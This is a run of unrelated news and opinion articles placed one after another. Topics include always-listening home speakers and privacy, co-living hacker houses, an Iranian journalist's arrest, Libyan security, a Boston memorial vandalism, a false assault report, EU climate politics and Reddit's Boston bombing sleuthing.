"You're going to get surprises," Ladoon said, adding he's lost dogs to wild Arctic predators in the past. "I have [had] entanglements or to predation, yes ... mostly wolves."
Generally speaking the dogs keep "nasty" bears in their place, but for the most part they all get along strangely well, Ladoon said.
The dogs seem to enjoy life outside in the brisk Arctic environment, he added.
Google Home is an always-on speaker coming later this year. (Photo11: Google)
LOS ANGELES - We know that Big Brother has been watching our every move for years--but are you ready to have your home conversations monitored as well?
Following on the footsteps of Amazon’s smash Echo connected speaker, which reads the weather and news, plays music, and turns lights on and off, based on your voice instructions, Google is set to launch its rival product, Google Home, later this year.
And this week reports surfaced saying Apple could be joining the fray with its own speaker featuring the Siri personal digital assistant from the iPhone.
Which begs the question--how do you feel about buying a connected speaker for the kitchen that could listen to every word you’re saying?
“I think it’s creepy as hell," says Jonathan Nolan, the creator and executive producer of CBS’s Person of Interest TV show, which has long explored the dark side of artificial intelligence.
We devoted our #TalkingTechRoundtable podcast this week to the potentially thorny subject of always-on devices in the home.
On the podcast, Nolan likened having a home speaker listening to you at all times to welcoming in a “vampire.”
“The rule set is the same,” he said. “Once you invite it in, you’re not getting it back out of your house again.”
We all know that companies like Google, Amazon and others have been watching and listening to us, “but this is the first time they’re making you aware of the fact that they are listening”
Amazon’s ads for Echo, which has turned into a surprise hit for the company, tout the speaker’s readiness to pop into action once you use the “wake” word of Alexa to pose a question or command. For Google Home, the command will be "OK Google."
The potential for what a connected speaker could do is a big positive, said Aubrey Cattell, the head of next generation products at software powerhouse Adobe.
“There are more and more things that are listening to us, and trying to understand our actions, but that’s so the technology industry can serve up better and better products. I don’t want to be listened to as Aubrey Cattell, but I don’t mind algorithms understanding my behavior as 1-2-3-4 so that I could get better targeted content. The problem for me today is finding things I want to discover. So there’s a tradeoff there we all need to understand.”
#TalkingTech panel: Jefferson Graham, Greg Plageman, Bryce Clemmer, Aubrey Cattell and Jonathan Nolan. (Photo11: Jefferson Graham)
Bryce Clemmer, who runs the Vadio service, which helps monetize music videos, says the data is already out there. “I’m not afraid of it. It already knows what I buy.” He would be concerned, however, if the speaker started listening in on conversations about politics or healthcare. “Because that’s information that could be used against anyone.”
We've reached out to Amazon and Google for comment.
Also on the #Talking Tech Roundtable this week:
CLOSE Adobe's new line of services available on web and mobile allows you to design brochures for social media, simple web pages and short videos. Video by Sean Fujiwara
--Aubrey Cattell introduces Spark, a new free software suite from the imaging powerhouse that brings the power of high-end software like Photoshop and Illustrator to the masses, to pretty up images for blogs and websites with text and create animated videos from your photos. The suite is intended to be Adobe’s take on Google Docs, but for imaging, and also has a companion IOS app.
--Person of Interest executive producers Nolan and Greg Plageman talk about the show’s pending finale, and why the long fascination with the snooping side of technology.
Follow USA TODAY tech columnist and #TalkingTech host Jefferson Graham on Twitter, @jeffersongraham and listen to #TalkingTech on Google Play, Stitcher, iTunes, TuneIn and SoundCloud.
An Iranian-Canadian reporter arrested in Tehran last week admitted his election coverage was biased in favour of the opposition, an Iranian government-linked news agency reported Tuesday.
Fars News Agency, a semi-official government-aligned organization, said Maziar Bahari appeared at a news conference Tuesday to discuss his situation with other reporters.
The 41-year-old was taken from his mother's Tehran apartment on Sunday by a group of men believed to be Iranian security officials. A laptop computer and several videos were also taken.
According to the article, Bahari, who was in Iran to report for Newsweek, admitted his coverage of the June 12 presidential election was biased in favour of President Mahmoud Ahmadinejad's rival, Mir Hossein Mousavi.
There is no way to independently confirm the report because of tight Iranian government restrictions on foreign media in the country imposed following violent anti-government demonstrations.
The report also says Bahari admits that as a journalist, he is part of capitalist machinery that gets caught up in revolutionary activities aimed at throwing the legitimacy of the election in doubt. Several other media outlets, including CNN, Newsweek and the New York Times, are feeding information in support of the revolution, he says, according to the article.
The report did not say whether Bahari remains in custody, where the reported news conference took place, or who attended.
The Canadian government has reportedly demanded to have access to Bahari.
Protesters, militia killed
At least 24 journalists and bloggers are also known to have been arrested in Iran since Iranians began protesting the official results of the presidential election more than a week ago.
Iranian authorities say 17 protesters and eight members of the volunteer Basij militia have been killed in two weeks of unrest, and hundreds of people have been arrested.
Iran's top legislative body on Monday said a partial recount had confirmed Ahmadinejad's disputed victory. The 12-member clerical council has already rejected opposition calls for it to annul the vote over charges of voting irregularities.
I recently attended the Dowling Catholic Paradigm, a national level speech and debate tournament, and encountered teams from across the nation — Minnesota, Illinois, Colorado, Massachusetts, and even, I heard, Florida. Why they'd come to Iowa in the winter is beyond me.
The Paradigm is one of the most geographically diverse tournaments I’ve had the privilege of competing in. In addition to the differing backgrounds, debate kids have an innate need to disagree and argue about anything one can possibly argue about. However, I noticed the vast majority of people I came across had one thing in common: devoted support for Bernie Sanders.
This is definitely something I’d noticed before, from countless Sanders campaign stickers plastered onto laptops, to conversations in tournament school hallways, to one girl’s assertion on that Saturday that, “Bernie Sanders is just a kind, old man trying to fix America, and I think we should let him.” It’s rare to find anything that a majority of debaters can agree upon, unless it’s that tournament concessions are disgusting and that NFL sounds much cooler than NSDA. But the Sanders' bandwagon, I’ve noticed, is one that appeals not just to debaters, but to young people in general.
Anna Senneff (Photo: Courtesy of Anna Senneff)
So what’s that about? I can’t say I’m a Sanders supporter, but I’ve come across countless teens who are. I know the man has made some big promises, including free public college, higher minimum wage, a new immigration policy and more. I can see where a lot of his plans would appeal to the younger population (and to be honest, we haven’t been afforded many great options as far as presidential candidates). But here’s the congruence I’ve seen between Sanders and his younger supports: liberalism and progressiveness.
Strong liberal sentiment is something I’ve seen spreading exponentially throughout my generation, especially in the past couple years. This is embodied by third-wave feminism, pushes for LGBT rights and a general attitude of progressivism. And from what I’ve seen, Sanders’ initiatives align pretty closely with these ideals.
I can’t say I’m getting on the Sanders bandwagon anytime soon; my views are just a little too conservative for that. But my peers are, and I can see why. He expresses passion toward issues that directly affect young people in particular, and many of them identify pretty closely with his views. Sanders has some big plans for America, and from what I’ve seen, my generation is getting on board.
But is that appeal enough to win the election for him? Time will tell.
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Anna Senneff is a student at Ankeny High School. She's involved in her school debate team and works as an intern with her church's youth group. Senneff finds politics endlessly fascinating and has become familiar with the political process and current events, largely through her experience in debate.
To read more from the 12 Iowans who are writing about their experiences for Our Caucus, visit https://medium.com/our-caucus. Our Caucus is a Des Moines Register project designed to bring in varying viewpoints and experiences, especially from younger voters, during this election cycle.
And now to the granddaddy of all Daniel Craig Bond films, Skyfall; the film that won two Academy Awards, grossed more than a billion dollars worldwide, and solidified Daniel Craig’s position as one of the most beloved actors to ever carry the mantle of 007. After a four year absence the makers of the Bond franchise had plenty of time to learn from their mistakes in Quantum of Solace and craft what many consider to be one of the best James Bond films of the series. You have an Oscar winning director at the helm in the form of Sam Mendes, a multiple Oscar nominee for Best Cinematography in Roger Deakins (a category he was robbed in, if I do say so myself) and a villain that is able to project menace and even have a deep, emotional back story with M in the form of Silva, played perfectly by Oscar Winner Javier Bardem. With all of these elements, the Bond producers were finally able to deliver a film on par with the excellence seen in Casino Royale. But does Skyfall surpass Casino Royale in terms of greatness or is this a film that just got overhyped?
I’m your host and Bond Super-Fan David Snider, and joining me again as we discuss “The Seventh Seal” of Bond films is Bond Newbie Nick Goathoof.
Topics of discussion in this episode include “The Bond Effect” and how Daniel Craig has rapidly aged as a result; Judi Dench makes history as she drops the first F-Bomb ever in a Bond film; and finally, we wonder if the third act would have benefited from the inclusion of a certain hairy chested Scotsman.
Be sure to leave a comment or rating on empireorjedi.com, Stitcher Radio or iTunes. You can also Like us on Facebook or get updates on the show through our Twitter feed @empireorjedi.
Warning: This podcast includes offensive language and may not be suitable for children. Listener discretion is advised.
You can purchase Skyfall on Blu-ray through our Amazon side link or by clicking here. You can also purchase the “Ultimate James Bond Collection” Box Set by clicking here.
Matthew Oswald’s house in the outskirts of Seattle’s Capitol Hill harbors a peculiar breed of chaos. “Everyday there’s something new,” Oswald says. “It’s like a sitcom.” Just think: Big Bang Theory meets The Real World.
Oswald is a bearded, tattooed, proud New Yorker who first moved to Seattle for a job as an Amazon engineer. Now the 34-year-old lives and works at the IO House, the first manifestation of GrokHome’s business plan to provide long- and short-term communal living to whizzes and geeks who are looking to break into Seattle’s budding tech scene. It’s Oswald’s job to keep the eight-person hacker house filled with fitting residents — described on GrokHome’s website as “smart people working on interesting projects” — and then make sure it all runs smoothly as they go about indulging in geekdom together. Some days that’s easier than others.
On one of the more interesting days, Oswald came home to find a Mack truck parked outside. It contained 20,000 pillowcases, all of which belonged to 22-year-old resident Jordan Schindler. The blossoming entrepreneur had come up with a zany product idea: pillowcases infused with acne medication, so teenagers could work on their complexions as they slept.
“Don’t worry, I think I sold them all,” Schindler assured Oswald. Sure enough, about two hours later another truck arrived, loaded them up, and carried them over to Amazon. “And they sold 20,000 units within like, I don’t know, less than two hours,” Oswald says.
Cooperative housing — a.k.a. co-living — has become a hot topic for anyone thinking about the future of urban living. In late 2013, the hype about co-living was in full force; tales of millennials packing into Bay Area buildings sprang up everywhere from Gawker to NPR and The New York Times.
In practice, co-living spaces generally take the form of group houses, with members renting a bedroom, but with an extra push to go beyond the ad hoc ensembles that come together through necessity via Craiglist. This might mean drawing housemates together around a particular set of ideals or pursuits, like the IO House. Or, more simply, it might mean that housemates agree to divvy up chores and enjoy communal meals together.
As rents skyrocket in major cities like Seattle, New York, and San Francisco, saving a few bucks by sharing a living space appeals more and more to otherwise priced-out young urbanites. And as a bonus for the green-minded, people who live in densely populated areas tend to have a smaller carbon footprint.
But as catchy an idea as co-living may be, for every co-living trend piece, you can find a data point that might suggest the trend is moving in the opposite direction, like the fact that more and more Americans are living alone. I’m a millennial, at least according to most definitions (and by the way, we “millennials” still aren’t feeling labels). I also helped form a co-living space in the Bay Area when I was in college. Reading all the recent hype, I wondered: Is co-living actually a big thing? A real cultural shift? Or just a clickable headline?
I set out to find some answers.
Giving co-living the business
One of the first things I learned was that co-living spaces — whether they’re labeled as “community houses,” “intentional communities,” or “hacker houses” — are popping up throughout the country. There are more than 186 North American groups listed in the Fellowship for Intentional Community’s directory. The nexus is decidedly in the crunchy and tech-oriented San Francisco Bay Area, where, according to The Christian Science Monitor, about 50 such homes currently exist.
OK, that’s hardly a world-shaking transformation. And communal houses aren’t exactly anything new: During the 1840s, the days of back-to-nature transcendentalism, at least 84 utopian communities popped up around the country. In the 1960s and ’70s, Boomers experimented with the commune, an idea that lives on today with retired hippies and Paul Rudd movies.
Still, there are some signs that what we’re seeing today is different, and in more than just name. For evidence, witness the handful of entrepreneurs who are founding co-living spaces in an effort to do what carsharing has done to car ownership (and cab companies and carpooling) — that is, disrupt the old economic model, transform city living, and make a buck at the same time.
Campus and OpenDoor Development Group (both in the Bay Area) and Krash (in Boston, NYC, and D.C.) all market themselves as hip, plugged-in communities for the smartphone-toting urbanite. Their websites advertise features such as month-to-month lease flexibility, high-speed Internet, and working space. Translation: These ain’t your daddy’s communes. They’re targeting millennials, who are said to value travel, job mobility, minimalism, flexible schedules, and social networks, and prefer cities to suburbs, stimulating work to high pay, and self-employment to the corporate ladder. Millennials are also said to be putting off marriage and children, ideals that sent previous generations of twentysomethings running for the ‘burbs.
Ben Provan and Jay Standish hatched the idea of OpenDoor Development Group, a company that buys real estate and turns it into co-living housing, when they were in the sustainability-focused MBA program at the Bainbridge Graduate Institute in Seattle. “We were basically studying the sharing economy and local economies and a lot of these new models emerging right now,” Provan told me. “And we got excited about how co-living and forms of community living could be a really powerful way to both live more sustainably and have a more generative and socially focused environment.”
What made their approach different from that of other group houses, Provan says, was treating it as a business — a business based on sharing resources. For example, OpenDoor would develop its own Airbnb-esque Modern Nomad software as a platform to host guests and stress carsharing via RelayRides. Most importantly, however, Provan and Standish saw OpenDoor as a business that facilitates other groups of like-minded people to connect and live together.
By the summer of 2013, Provan and Standish had acquired a property where they could test their vision — a house in Berkeley, Calif., which they called the Sandbox. Now all they needed were people to fill it. They put out a call for applications. Within two weeks, they had far more applicants than they had rooms. “It was a really fun process to create a community, and to realize that this was something that people wanted,” Provan said. “There was a need for a company that could help make that process easier for people and could help facilitate more of these spaces coming into being.”
The Farm House, a 16-bedroom Victorian, also located in Berkeley, is the third and newest of OpenDoor’s acquisitions. If you lived there, coming home at night you’d walk past the vegetable garden (compost bin included) and into the spacious, hardwood-floored living room. This opens up into the dining room, where you’d likely be greeted by a subset of your 16 housemates sitting around the dining room table, applauding you — a house tradition. “It’s silly, but it’s really funny,” Farm House resident Gina Giarmo says. “It kind of puts life into perspective.”
Continuing on into the kitchen, you’d see it stocked with giant bins of rice and garbanzo beans — some of the oft-used dinner ingredients residents take turns cooking four or five nights a week. You’d share these meals with your housemates, who range in age from 23 to 38 and in profession from yoga instructor to startup geek.
Giarmo says a lot of the current residents had reservations about cooperative living at first, “because it has this stigma of being very dirty and disorganized.” But Farm House residents are like-minded in their approach to housekeeping, too. Housemates all pitch in with weekly chores, resulting in what Giarmo feels is a well-kept, welcoming space.
The Thanksgiving effect
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Then there’s the issue of sustainability — an important part of the conversation to us here at Grist. To some co-living enthusiasts, such as Provan, living lightly is implied in the mission: Smaller space equals less stuff.
But what actually makes living communally greener? Well, part of the answer builds on the influx of people to cities. Some studies show that densely built urban areas have lower energy requirements than suburban sprawl. But these studies are scant, as is data on the carbon footprint of co-living. However, the patterns of U.S. energy use on one special holiday may give us a clue: Thanksgiving.
What’s Thanksgiving all about if not celebrating the oldest form of co-living: cramming a bunch of family members under one roof for a day. Centralizing people on Thanksgiving creates an energy outcome that’s almost as sweet as pumpkin pie: U.S. residential electricity and natural gas use drops by as much as five to 10 percent. Apparently, groups of people cooking, consuming, and living together use energy and resources more efficiently.
Of course, some co-living groups take sustainability to a whole other level. Dancing Rabbit Ecovillage, a 70-person, 280-acre community, is situated in the rolling hills of Missouri and, admittedly, is more bucolic commune than urban cohouse. Six idealists founded Dancing Rabbit in 1991 to create the “ultimate in green living.” The community’s website has a thorough breakdown of sustainability guidelines as well as a list of eco-commandments — “At Dancing Rabbit, fossil fuels will not be applied to the following uses: powering vehicles, space-heating and -cooling, refrigeration, and heating domestic water.”
My friend and former housemate Brian wanted to take the cooperative living thing to the next level and spent a summer in Dancing Rabbit’s work exchange program. Turns out this brand of green living was a little overwhelming for him. After all, building your own living quarters and growing all of your own food is not for the casual coliver. At least for now, Brian feels more at home in the eight-person co-op in Berkeley called The Nookery, where he now lives. He says while he’d like to live somewhere where sustainability is part of the equation, he’s not sure if he wants sustainability to be the whole of it.
Co-living as life hacking
In 2010, after spending two years living in Stanford University’s hippie refuge called Synergy (no kidding), a group of us from the campus co-op scene started a co-living house in Palo Alto. We eventually named it Ithaka. A year after Ithaka formed, New Yorker writer Patricia Marx paid us a visit. She was working on a piece about couch-surfing. We gave her a tour, which she described this way:
Come, let me show you around. This is Ellery’s room, but Ellery sleeps on the porch. Here’s the lounge. Here’s a bathroom. One thing you need to know about the bathroom: if yellow, let mellow. … Here’s Dan’s room. His girlfriend is Rachel; she doesn’t live here anymore, but she’s staying here now. … We call this room AbunDance. Mostly we dance here. … See the hula hoop, the beanbag chairs, and the bearded fellow smooching on the floor with the pretty, long-haired woman who’s wearing a shawl? This is Jonas. He doesn’t live here. He lives in a co-op in Berkeley called Fort Awesome. His sweetheart is Lena. She’s been on the road for two years, but right now she’s camping in the yard out back. … Here’s the puppet theatre. A lot of couch surfers stay there. If you don’t want to sleep in the puppet theatre, you can have Jan’s room and he’ll sleep with Tess.
OK, fair enough. But then the way Marx goes on, in my humble opinion, misses the point: “Has our relation with machines made us feel so deprived of human contact that we befriend anyone and shack up with whoever has a mattress?” she wrote. “People, it seems, are becoming fungible, and, as in a game of pinball, you score points by bumping up against as many of them as possible.” Well! For me, living in an intentional community wasn’t about racking up social pinball points. It was about meaningful human connection, IRL.
The rabbit holes of technology do play a role in co-living’s appeal. Technology does enable sharing and modern day nomadism on whole new levels, but “it’s also made us more isolated in many ways, and siloed out,” says Chelsea Rustrum, author of It’s a Shareable Life.
And Marx may be right that such isolation is what’s causing millennials to create communities outside the pages of Facebook, Twitter, or Pinterest. As Balaji Srinivasan framed it in Wired, co-living takes those digital communities out of the cloud and puts them into a tangible, physical space. You don’t have to pop out for a latte every time you need a fix of casual conversation.
I’m still nostalgic about it: Hey, remember when you used to come home to a gaggle of friends hanging out in the kitchen, cooking you a delicious dinner? You lived where there was something new and interesting going on almost every day: someone experimenting with making soap, baking the perfect baguette, or painting a mural on the walls.
OK, maybe that’s just my so-called quarter-life crisis, and I’m looking back at the co-living experiment through a pair of rose-colored glasses. But on the other hand, co-living gave me something previous living situations hadn’t: structure. A lot of recent college grads get hit with the reality that they can no longer expect friendships, work, and life to be served up on a plate right in front of them. The “real world,” is, you know, real. In the throes of trying to figure out how to transition to adulthood, co-living is a way for young people to ground themselves alongside others at a similar stage in life. Ambiguity loves company.
And for the ambitious, co-living can even breed entrepreneurialism. Take the hacker house, which is the premise of the IO House in Seattle. It’s a segment of the co-living movement designed to give budding techies an affordable entry point into cities with startup scenes, and the chance to surround themselves with people who have similar aspirations. Jordan Schindler jumpstarted his quirky pillowcase business in a co-living space.
Another cool thing about the modern version of co-living is that you don’t have to be all in or all out of the lifestyle. “What we’ve seen is that people take what they do like about the [cooperative] living scenario, but then bring it into the 21st century using technology,” says Lauren Anderson, chief knowledge officer of Collaborative Lab. “So you can opt in or opt out of the parts that you feel comfortable with, rather than needing to be all completely in or all out.” Intrigued by the idea of co-living, but not ready to commit? Houses like the Farm House, the Sandbox House, or Embassy have options for shorter-term stays through couchsurfing or Airbnb. Want to tap into that kind of community but know that when you come home at night you really do just want to be alone? Drop by for a salon at Rainbow Mansion or The Glint. Want to network with other fresh Seattle techies but don’t want to have to deal with their mess? Join one of their dinner and demo nights.
How the current co-living movement will pan out remains to be seen. You don’t have to dig too deep into history to find communal living movements of yore that failed miserably. But if there’s anything that sets the current iteration of co-living apart, it’s this: Whereas the leaders of past utopias were focused on breaking away from society (“turn on, tune in, drop out”), modern co-living is more focused on incorporating the lifestyle into the broader world.
After talking with torchbearers of the co-living scene and musing on the time I spent living in an intentional community, I think there is something bigger to co-living. To a generation that’s less interested in single-occupancy condos or white picket fences in the ’burbs, co-living is a way to embrace, and take ownership over, the chaos of life in an increasingly scattered digital age.
Since I left Ithaka, I’ve bounced around between rooms I’ve rented in Santa Cruz, Monterey, Washington, D.C., and Seattle. And then there are my family stops in L.A., New York, and Boston. While I’ve gotten used to embracing a more pop-up, fluid sense of community, “home” has become a rather relative term.
Last year, my fellow Ithakans and I gathered for a reunion in Klamath Falls, Ore. On the drive out there with four of them, we had an epic, eight-hour conversation that bounced from women’s rights to death, gun rights, and free will, all in a mysteriously cohesive way. We didn’t agree on all of it. But we shared such a baseline of experience together that I still felt so comfortable, so at ease, and so loved.
It was 2:00 or 3:00 in the morning when we finally arrived. We sat around a picnic table and looked up at a sky that made me feel as if I were actually swimming in the Milky Way. Punch-drunk tired, someone started giggling. Soon we had all set off into laughter. It was the kind of laughter where you find your stomach tangled into knots, tears streaming down your face, you don’t even really know what’s so funny — but, oh, it hurts so good.
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Shah, who will be making a comeback to international cricket after serving a three month ban for testing positive in a random dope test last November, has so far picked up 76 wickets in 12 Tests and is considered as one of Pakistan’s main hopes in England.
“I have watched his (Warne’s) videos and also had a chat with him on telephone because he has an excellent track record in English conditions,” Shah told PTI before the team’s departure for London on Saturday.
“There would be no better place to make a successful comeback to Test cricket than England and I am looking forward to the first Test at Lords,” he said.
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The leg-spinner who was lucky to escape with a three month ban after pleading he took his wife’s medicines for blood pressure by mistake said he was looking forward to the coming four Test series.
“Not only the Tests I also want to cement my place in the limited over sides,” he added.
Shah said he had always been a big fan of Shane Warne and met him in the UAE and Australia when Pakistan went there for the World Cup last year.
“I know Pakistan has produced some great leg-spinners but Warne has impressed me with his excellent record in England.”
The 30-year old said he had spent hours watching videos of Warne bowling in England and also chatted with the Australian to pick up some tips.
However, the 30-year-old has left behind the bitter memory and now looks to spin a web around the English batsmen at their home.
Shah said Warne had told him the importance of varying the pace in English conditions.
“I am looking forward to meeting him again in England. And I am looking forward to bowling to the English batsmen in their own backyard it will be a big challenge but I love challenges,” he said.
Shah missed the first test last year against England in the UAE due to a back injury but came back strongly in the next two tests.
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Christopher S. Chivvis is a senior political scientist at the nonprofit, nonpartisan RAND Corporation and teaches at the Johns Hopkins, School of Advanced International Studies. The views expressed are his own.
A year since Tripoli fell to NATO-backed Libyan rebels, progress in achieving lasting security remains elusive and could even be faltering. Recent attacks suggest that Libya’s stability – and one of the Obama Administration’s biggest foreign policy successes – could be in danger. The countries that helped topple Moammar Gadhafi a year ago have a special obligation to ensure the new Libyan government gets all the help it needs to respond to these new threats effectively.
Gadhafi’s death last October marked the end of the war and the beginning of a new age for Libya. But progress on all fronts since then has been slow and hard-won. While Libya held successful national elections last month, a recent spate of terrorist-style attacks in Benghazi and Tripoli indicate the Libyans are not out of the woods yet.
Libya’s new government faces multiple challenges, including writing a constitution, finding work for war veterans and building modern administrative structures almost from scratch. Such tasks are challenging enough under the best conditions. Under the pall of a deteriorating security situation, they could become impossible.
The rebel army was made up of hundreds of militias. They were willing to work together to oust Gadhafi, but refused to lay down their arms when the war ended. As a result, the security situation in Libya has been highly fragmented since Tripoli fell. Individual militias own the use of force in the towns and neighborhoods they occupied when the war ended.
Luckily, clashes between militia have only been sporadic, and haven’t seriously undermined security or posed a major threat to Libya’s civilian population. But recent car bombings and attacks on government buildings in Tripoli and the rebel stronghold of Benghazi are different.
Libyan officials have said they believe rump Gadhafi supporters are behind these attacks, raising the specter of a low-level insurgency. Because the attacks follow closely on the heels of the national election, it’s likely that they are intended at least in part to challenge the new ruling authorities. They could also be aimed at eliciting an overreaction that would deepen divides between Libya’s new leadership and the communities in Libya favored by the Gadhafi’s regime.
History shows repeatedly that maintaining security is critical for a country to make a successful transition from war to peace. Absent security, progress on building political institutions, generating economic growth, and rebuilding trust in government is extremely difficult. Low-level violence that targets government forces and threatens civilians could also empower militias at the expense of the nascent government if the government is perceived as unable to respond effectively.
It remains to be seen how effective the nascent Libyan state can be in thwarting such attacks given its relative weakness on security. At the behest of the Libyan authorities, and the wishes of most Western capitals, NATO did not deploy a post-conflict force in Libya to help provide security when the war was over.
The New England Holocaust Memorial in downtown Boston was vandalized Monday night by a 17-year-old who was immediately tackled by bystanders and held until police arrived, police said.
The teen hurled a rock through a glass panel etched with numbers, representing those tattooed on the arms of the Jews and others in the concentration camps operated by Nazi Germany, police said. The panels are affixed to six glass towers, each 54 feet high.
It was the second act of vandalism in less than three months at the site, located in Carmen Park near historic Faneuil Hall. The suspect in Monday’s incident was charged with willful destruction of property.
A detail of the New England Holocaust Memorial shows some of the six million numbers etched in glass at the memorial in Boston. (Steven Senne/AP)
Boston police department’s civil rights unit is investigating whether the act was a hate crime but didn’t shy away from acknowledging the timing of the act and its possible relation to the past weekend’s violence in Charlottesville.
“Clearly, this type of behavior will not be tolerated in our city,” Boston’s police commissioner, Williams Evans, said in a statement. “And, in light of the recent events and unrest in Charlottesville, it’s sad to see a young person choose to engage in such senseless and shameful behavior.”
Virginia Gov. Terry McAuliffe (D) on Aug. 13 said Charlottesville is "stronger" a day after violence erupted in the city. The organizer of a white nationalist rally said clashes occurred because police declined "to do their job." (Whitney Leaming,Bastien Inzaurralde/The Washington Post)
Boston Mayor Martin J. Walsh took to Twitter to express his disappointment, saying he was saddened to see “such a despicable action in this great city.”
Today & every day Boston stands up against hate. I'm saddened to see such a despicable action in this great city. (1/2) — Mayor Marty Walsh (@marty_walsh) August 15, 2017
Thankful to public and @bostonpolice for quick arrest of the person responsible for vandalizing Holocaust Memorial. (2/2) — Mayor Marty Walsh (@marty_walsh) August 15, 2017
In June, James Isaac, 21, of Roxbury, Mass., was accused of shattering a glass panel of the same memorial. Isaac has pleaded not guilty to vandalism charges. The repairs for that incident were finished in July. Later in July, a group of vandals allegedly toppled over six headstones in a historic Jewish cemetery in Melrose, a Boston suburb.
The memorial opened in 1995 and had not been vandalized until June.
Boston’s Jewish Community Relations Council and Combined Jewish Philanthropies expressed disappointment.
“The images of Nazis marching in the streets of America over the weekend in Charlottesville and now shattered glass once again at this sacred space in Boston are an affront to our Jewish community and to all those who stand-up against bigotry, hatred and anti-Semitism,” the statement said.
The memorial reopened Monday night around 9 p.m.
Protesters organized marches in major cities across the nation to denounce the sentiment behind the deadly Aug. 12 white nationalist rally in Charlottesville, Va. (Monica Akhtar/The Washington Post)
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Google topped $700 a share on Friday morning for the first time in nearly five years. The stock opened at $700 on the dot and was up more than 1% in early trading.
Google's stock peaked at $714 back in December, 2007 before declining through much of the next year and even dropping below $300 at one point in late 2008.
There are only a handful of companies who have traded above $700 a share, including Google, Priceline, Berkshire Hathaway and NVR Inc. Apple, for its part, is quickly closing in on this milestone and currently trades at $680 a share. However, Apple's market cap is more than $635 billion while Google's market cap is about $232 billion.
Google's stock has been on the rise since mid-July on the strength of its second quarter revenues (particularly from mobile advertising), and the popularity of the Nexus tablet, which was unveiled in June. More recently, analysts from Capstone and Bank of America have reiterated their buy rating on Google stock.
Nikki Yovino, 18, of South Setauket, NY, has been charged with second-degree falsely reporting an incident and tampering with or fabricating physical evidence in connection to an incident at a Sacred Heart University football party in October, the Connecticut Post reports.
When pressed about inconsistencies in her original statement, Yovino admitted that she made up the rape allegations against the two football players in hopes of gaining sympathy from another man — a prospective boyfriend, according to an arrest warrant affidavit.
Police said Yovino told them on Oct. 15 at a hospital where they responded for a sexual assault complaint that she attended a Sacred Heart football club party the night before at a house on Lakeside Drive in Bridgeport.
Investigators said Yovino claimed two men pulled her into a bathroom in the basement of the house and held her down, taking turns sexually assaulting her, the Connecticut Post reports.
“I don’t want to be in here, I don’t want to do anything,” police said she claimed she told the men. “My friends are waiting for me outside, let me go outside.”
Both men admitted having sex with Yovino, but claimed it was consensual. Bridgeport Police Detective Walberto Cotto Jr. later questioned Yovino after other students said it appeared Yovino went into the bathroom willingly with the two men.
One student, according to the arrest warrant affidavit, said he overheard Yovino telling the men she wanted to have sex with them.
“She admitted that she made up the allegation of sexual assault against (the football players) because it was the first thing that came to mind and she didn’t want to lose (another male student) as a friend and potential boyfriend. She stated that she believed when (the other male student) heard the allegation it would make him angry and sympathetic to her,” according to the affidavit.
Mark Sherman, Yovino’s attorney, said he had not yet been provided with police reports and video footage pertaining to the case, but told The Post he expects Yovino to plead not guilty at her arraignment on March 3.
“The details of what happened here will come out at the appropriate time during the court process,” Sherman wrote in an email.
Yovino, who was released after posting $5,000 bond, faces up to five years in prison if convicted on the tampering charge, a felony, the Connecticut Post reports.
One of the students has since been readmitted to the university, but he’s no longer a member of the football team and lost his scholarship. The names of the students are being withheld by Hearst Connecticut Media and one of their attorneys told the Connecticut Post that he just wants to put the incident behind him.
Sacred Heart officials declined to provide information about specific students, including the identities of the two former football players and whether they had been reinstated by the university, citing federal privacy laws in a statement to The Post.
“Sacred Heart never expelled the two students nor was any student stripped of scholarships because of any allegations,” university spokesperson Kimberly Primicerio wrote in an email. “Whenever there is any kind of incident at Sacred Heart University, we go to great lengths to ensure due process for all parties involved. The way that this particular case is playing out certainly demonstrates the validity of our procedures.”
Jean-Claude Juncker’s decision to group EU commissioners into teams serving under a vice-president has been welcomed by some interest groups, and derided by others. Rumours of the intention to combine the climate and energy portfolios have been sparking alarm among environmentalists for weeks. But the elimination of a dedicated environment portfolio came as a genuine shock to green groups. The ‘Green 10’ – an alliance of European environmental NGOs – sent a letter to Juncker saying that his restructuring decisions suggest a “de-facto shutdown of EU environmental policymaking”. –Dave Keating, European Voice, 11 September 2014
The Green10, the alliance of leading environmental NGOs at EU level, supported by over 20 million EU citizens and active in all 28 Member States, wrote today an open letter to President Jean-Claude Juncker to express grave concerns over the direction the EU seems to be taking with the announcement of his new team. The coalition highlights that the structure of the new Commission, the mission letters, and the choice of Commissioners all reveal a serious downgrading of environment and a roll back of EU commitments to sustainable development, resource efficiency, air quality, biodiversity protection and climate action. —WWF Europe, 11 September 2014
“The biggest change is the structural blocks put on any new legislative activity,” said Tony Long, director of campaign group WWF. “Every avenue is blocked because it all has to go through a vice-president and then a first vice-president.” Mark Fodor, executive director of campaign group Central and Eastern Europe Bankwatch, said the letter suggests that Juncker is back-tracking from previous commitments. “By missing out the crucial role of EU funding for addressing the climate challenge, the president-elect is showing complete disregard for the future of our planet,” he said. –Dave Keating, European Voice, 11 September 2014
Just two days after being appointed by Jean-Claude Junker, the EU’s new climate and energy commissioner is under pressure to drop his shares in two oil companies which members of European parliament say represent a conflict of interest. The MEPs say EU’s proposed new climate and energy commissioner, Miguel Arias Cañete, must dispose of any oil company shareholdings before they consider giving his nomination a green light at European parliament hearings later this month. One environment committee member, the German social-democrat Jo Leinen, told the Guardian there was “no guarantee” that Miguel Arias Cañete would be confirmed at European Parliament hearings, which have powers to send back proposed commissioner lists to Juncker. –Arthur Neslen, The Guardian, 12 September 2014
Skepticism of global warming may be more widespread than it is portrayed in the media, with nearly half of British lawmakers being labelled as climate “skeptics” and India’s prime minister casting doubt on claims of man-made global warming. A special report by PR Week shows that a vast majority of conservative members of UK Parliament are [doubtful] that mankind is the main driver behind global temperature rises. While a slight majority (51 percent) of members of parliament (MPs) say that global warming “is largely man made” and an established fact, nearly three quarters of conservative MPs disagree. –Michael Bastasch, The Daily Caller, 10 September 2014
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A big reason for Reddit’s popularity is the site’s freewheeling spirit. Under cover of anonymity, its users can say and do what they like, even if it’s politically incorrect or might hurt someone’s feelings. Almost anything is in-bounds, as long as no one gets doxed—i.e., has his or her personal information revealed. The prohibition against posting personal information is one of only five core rules of Reddit, and it’s the one that gives the site its character.
So what to make of a week in which well-meaning Redditors rushed headlong into the hunt for the Boston bombers, only to focus the public’s attention and suspicion on one innocent bystander after another?
